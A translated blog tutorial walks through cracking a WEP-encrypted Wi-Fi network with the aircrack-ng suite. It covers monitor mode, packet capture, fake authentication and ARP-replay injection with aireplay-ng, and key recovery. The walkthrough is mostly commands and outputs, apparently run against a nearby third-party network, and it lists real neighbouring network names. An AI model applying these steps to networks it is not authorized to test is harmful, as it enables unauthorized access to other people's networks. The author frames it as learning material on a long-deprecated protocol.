WHAT IS WEP?
W.E.P., acronym for Wired Equivalent Privacy or “Wired Equivalent Privacy”, is the encryption system included in the standard IEEE 802.11 as a protocol for networks Wireless that allows code the information that is transmitted. Provides level 2 encryption, based on the encryption algorithm RC4 which uses 64-bit (40 bits plus 24 bits of the IV initiation vector) or 128-bit (104 bits plus 24 bits of the IV) keys. The broadcast messages of wireless networks are transmitted by radio waves, which makes them more susceptible, compared to wired networks, to being captured with relative ease. Introduced in 1999, WEP was designed to provide confidentiality comparable to that of a traditional wired network.
Beginning in 2001, several serious weaknesses were identified by crypto analysts. As a consequence, today a WEP protection can be breached with easily accessible software in just a few minutes. A few months later the IEEEcreated the new security fix 802.11i to neutralize the problems. Around 2003, the Wi-Fi Alliance announced that WEP had been replaced by Wi-Fi Protected Access (WPA). Finally in 2004, with the ratification of the full 802.11i standard (known as WPA2), the IEEE stated that both WEP-40 and WEP-104 were revoked for failing to provide security. Despite its weaknesses, WEP continues to be used as it is often the first security option presented to users by router configuration tools even though it only provides a level of security that may deter unauthorized use of a private network, but without providing true protection. It was deprecated as a wireless privacy mechanism in 2004, but is still documented in the current standard.
WEP is sometimes mistakenly interpreted as Wireless Encryption Protocol.
Information that we have to read before starting anything:
Basic wireless (in)security manual
http://wiki.elhacker.net/security-wireless/introduccion/manual-b%C3%A1sico-insecurity-wireless
Monitor mode
http://wiki.elhacker.net/security-wireless/introduccion/modo-monitor
WEP encryption vulnerabilities
http://wiki.elhacker.net/security-wireless/introduccion/vulnerabilites-del-cifrado-wep
Wireless audit: What Wifi card should I use/buy?
To start we have to install the aircrack-ng suite, I am going to do it under a Debian distribution.
apt-get install build-essential devscripts dpkg-dev debhelper
wget http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0~rc3-2.dsc
wget http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0~rc3-2.diff.gz
wget http://ftp.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.0~rc3.orig.tar.gz
dpkg-source -x aircrack-ng_1.0~rc3-2.dsc
cd aircrack-ng-1.0~rc3
dpkg-buildpackage
dpkg -i ../aircrack-ng*.debOnce installed we activate the monitor mode.
airmon-ng start wlan0It is activated in mon0, (this depends on your network card)
Interface Chipset Driver
wlan0 Realtek 8187L rtl8187 - [phy0]
(monitor mode enabled on mon1)
mon0 Realtek 8187L rtl8187 - [phy0]We started monitoring.
airodump-ng mon0As we can see, it shows us all the available networks that are around us. Several elements will emerge that we have to pay attention to. BSSID (A Mac style key), CH (Channel where that network is located), ENC (Encryption used) and ESSID (The name of the network)
CH 8 ][ Elapsed: 24 s ][ 2011-09-11 11:07
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:16:B6:11:41:68 219 10 0 0 11 54 WPA TKIP PSK Xanikin
E0:91:53:0B:C3:BD 204 62 178 7 1 54. WEP WEP WLAN_1E
00:14:7C:48:0C:74 199 4 0 0 11 54. WEP WEP 3Com
E0:91:53:13:41:BF 197 3 0 0 4 54. WPA TKIP PSK buccaneer
00:1D:60:BD:1A:E1 197 11 0 0 1 54 OPN WebSTAR
5C:33:8E:CF:F2:F2 196 6 0 0 11 54. WPA2 CCMP PSK WNL-3000
00:1D:60:06:B0:52 196 17 0 0 6 54 WEP WEP Webstar
64:68:0C:7E:DF:28 192 3 0 0 6 54 WPA CCMP PSK JAZZTEL_DF27
00:23:54:AF:1C:F2 194 34 29 0 1 54 WPA2 TKIP PSK ONO017166
64:68:0C:4C:C8:2B 192 12 0 0 3 54 WPA TKIP PSK WLAN_C828
00:24:D1:2B:44:BD 191 3 0 0 9 54 WEP WEP GLORY
00:60:B3:ED:1E:8E 192 4 0 0 10 54. WEP WEP karlkox
00:23:54:AF:1C:F5 187 2 0 0 6 54 WPA2 TKIP PSK ONO807702
64:16:F0:DB:9C:07 184 2 0 0 11 54 WPA2 CCMP PSK vodafone9C06
00:19:70:3D:99:F6 186 4 0 0 6 54. WPA2 CCMP PSK Orange-22d2
40:4A:03:B5:7D:83 183 8 0 0 3 54. WPA TKIP PSK <length: 6>
00:11:F5:EF:DA:21 -1 0 40 7 11 -1 WEP WEP <length: 0>
BSSID STATION PWR Rate Lost Packets Probes
E0:91:53:0B:C3:BD 00:C0:CA:52:48:30 0 0- 1 5266 4375
00:23:54:AF:1C:F2 00:0C:F6:6A:30:6C -1 1- 0 0 1
00:23:54:AF:1C:F2 00:21:00:1D:1D:FF -1 48- 0 0 25
00:11:F5:EF:DA:21 70:F1:A1:C5:4A:E4 198 0-24 599 44
^C
rokitoh@red-orbita#We capture packets:
Syntax to use:
airodum-ng -c [ CANAL ] -w [ ESSID ] -bssid [ BSSID ] [ Interfaz ]Example:
airodump-ng -c 1 -w WLAN_1E -bssid E0:91:53:0B:C3:BD mon0 CH 1 ][ Elapsed: 1 hour 25 mins ][ 2011-09-11 12:08 ][ fixed channel mon0: 3
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E0:91:53:0B:C3:BD 204 76 43229 348570 49 1 54. WEP WEP OPN WLAN_1E
BSSID STATION PWR Rate Lost Packets Probes
E0:91:53:0B:C3:BD F4:0B:93:A5:29:C3 194 0-11 0 246We have to keep in mind that there has to be a client connected, because if not it will not work, later I will publish another manual on how to crack it without having a client connected.
-c We specify the channel.
-w We specify ESSID.
–bssid since the BSSID is specified as its name indicates.
mon0 Interface.
We use the airplay-ng tool to inject packets and thus raise the capture start vectors.
aireplay-ng -1 6000 -a [BSSID] -h [TU MAC] [Interfaz ]Example:
aireplay-ng -1 6000 – E0:91:53:0B:C3:BD -h 00:c0:ca:52:48:30 mon0It shows us a screen like this:
10:46:20 Sending Authentication Request (Open System) [ACK]
10:46:20 Authentication successful
10:46:20 Sending Association Request [ACK]
10:46:20 Association successful (AID: 1)-1 6000 It is a type of attack that generates false authentication with a delay.
-a is the access point.
-h is the source, here we put our MAC address.
mon0 The interface we use.
If we look at the terminal where we are motorizing the #DATA, it is rising at a higher speed
CH 1 ][ Elapsed: 52 s ][ 2011-09-11 12:09
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E0:91:53:0B:C3:BD 204 66 474 3513 59 1 54. WEP WEP WLAN_1E
BSSID STATION PWR Rate Lost Packets Probes
E0:91:53:0B:C3:BD 00:24:2C:36:4A:B1 190 0- 1 56 18
E0:91:53:0B:C3:BD F4:0B:93:A5:29:C3 195 0-11 0 1
E0:91:53:0B:C3:BD 00:C0:CA:52:48:30 0 0- 1 188 48496To be able to see what we injected:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [BSSID] -h [tu MAC] [INTERFAZ]Example:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b E0:91:53:0B:C3:BD -h 00:c0:ca:52:48:30 mon0It should show us an image similar to this:
Cnt 297539 packets…(499 pps)Size: 68, FromDS: 1, ToDS: 0 (WEP)BSSID = E0:91:53:0B:C3:BD
Dest. MAC = 00:24:2C:36:4A:B1
Source MAC = E0:91:53:0B:B4:1E0x0000: 0842 3401 0024 2c36 4ab1 e091 530b c3bd .B4..$,6J…S…
0x0010: e091 530b b41e e0e9 8305 2100 ebc7 d402 ..S…….!…..
0x0020: e707 d8a3 3484 90c1 1e02 2c89 8f52 6821 ….4…..,..Rh!
0x0030: f465 304f 23ed e060 c5e2 ccc4 3575 a72a .e0O#..`….5u.*
0x0040: 9627 2c90 .’,.Use this packet ? y
Saving chosen packet in replay_src-0911-113246.cap
You should also start airodump-ng to capture replies.Sent 3000 packets…. (500 pps)We wait a while... we have to tell ourselves in the #Data As it goes up, when we have a decent number we have to weigh the aircrack-ng to crack the password, this one in particular is costing me a lot, it doesn't want to be cracked... haha
We crack
aircrack-ng -z [BSSID]*.capExample:
aircrack-ng -z WLAN_1E-02.capIf we get an error like this it means we haven't gotten enough DATA, so we have to keep waiting, PATIENCE!
Failed. Next try with 5000 IVs.Finally patience pays off even though this network cost me.
Aircrack-ng 1.0 rc1[00:17:52] Tested 139537 keys (got 320792 IVs)KB depth byte(vote)
0 112/113 EC(322816) 0D(322560) 68(322304) 81(322304) 61(322048) 36(321792) 2D(321536) 3E(321536)
1 17/ 1 23(333824) 28(333312) 0D(333056) 62(333056) B4(332544) 0A(332288) CF(332288) E6(332288)
2 16/ 2 DE(334848) 7B(334080) C4(333568) CF(333312) E1(333312) C6(333056) 25(332544) 37(332544)
3 0/ 2 06(468224) F3(346880) 8D(340992) 83(340480) A7(340480) B6(340480) B9(340224) 3D(339712)
4 11/ 45 06(337664) 71(337408) A8(337408) 15(336640) 80(336384) 90(336384) CA(336128) 26(335872)
KEY FOUND! [XXXXXXXXXX ]MORE INFORMATION:
The official aircrack-ng website has some very good tutorials
http://www.aircrack-ng.org/doku.php?id=tutorial
I hope it helps you and this manual is for learning, not for you to beep for WiFi to get hooked by the nose.
Greetings, rokitoh!
Comments